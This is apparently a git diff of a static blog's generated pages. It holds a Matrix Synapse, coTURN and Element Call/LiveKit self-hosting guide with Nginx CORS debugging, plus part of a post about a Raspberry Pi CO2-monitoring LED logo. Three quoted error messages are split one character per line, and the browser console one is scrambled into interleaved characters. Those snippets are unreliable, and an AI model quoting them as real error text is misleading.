    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + + + +
    + + + +D +a +t +a +b +a +s +e +h +a +s +i +n +c +o +r +r +e +c +t +c +o +l +l +a +t +i +o +n +o +f +' +e +n +_ +U +S +. +u +t +f +8 +' +. +S +h +o +u +l +d +b +e +' +C +' + + + + +
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + + + +
    + + + +E +R +R +O +R +: +U +n +k +n +o +w +n +b +o +o +l +e +a +n +v +a +l +u +e +: +# +l +o +g +t +o +j +o +u +r +n +a +l +d +/ +s +y +s +l +o +g +. +Y +o +u +c +a +n +u +s +e +o +n +/ +o +f +f +, +y +e +s +/ +n +o +, +1 +/ +0 +, +t +r +u +e +/ +f +a +l +s +e +. + + + + +
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + + + +
    + + + +A +F +c +e +c +t +e +c +s +h +s +- +A +C +P +o +I +n +t +c +r +a +o +n +l +n +- +o +A +t +l +l +l +o +o +w +a +- +d +O +r +h +i +t +g +t +i +p +n +s +: +c +/ +a +/ +n +r +n +t +o +c +t +. +e +c +x +o +a +n +m +t +p +a +l +i +e +n +. +c +m +o +o +m +r +/ +e +s +f +t +u +h +/ +a +g +n +e +t +o +n +d +e +u +e +o +r +t +i +o +g +i +a +n +c +. +c +e +s +s +c +o +n +t +r +o +l +c +h +e +c +k +s +. + + + + +
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +]]>
    \ No newline at end of file diff --git a/public/tags/element-call/page/1/index.html b/public/tags/element-call/page/1/index.html new file mode 100644 index 0000000..70d82de --- /dev/null +++ b/public/tags/element-call/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/element-call/ + \ No newline at end of file diff --git a/public/tags/fabrication/index.html b/public/tags/fabrication/index.html new file mode 100644 index 0000000..629ee30 --- /dev/null +++ b/public/tags/fabrication/index.html @@ -0,0 +1,12 @@ +Fabrication | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 16 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/fabrication/index.xml b/public/tags/fabrication/index.xml new file mode 100644 index 0000000..b77c052 --- /dev/null +++ b/public/tags/fabrication/index.xml @@ -0,0 +1,368 @@ +Fabrication on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/fabrication/Recent content in Fabrication on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
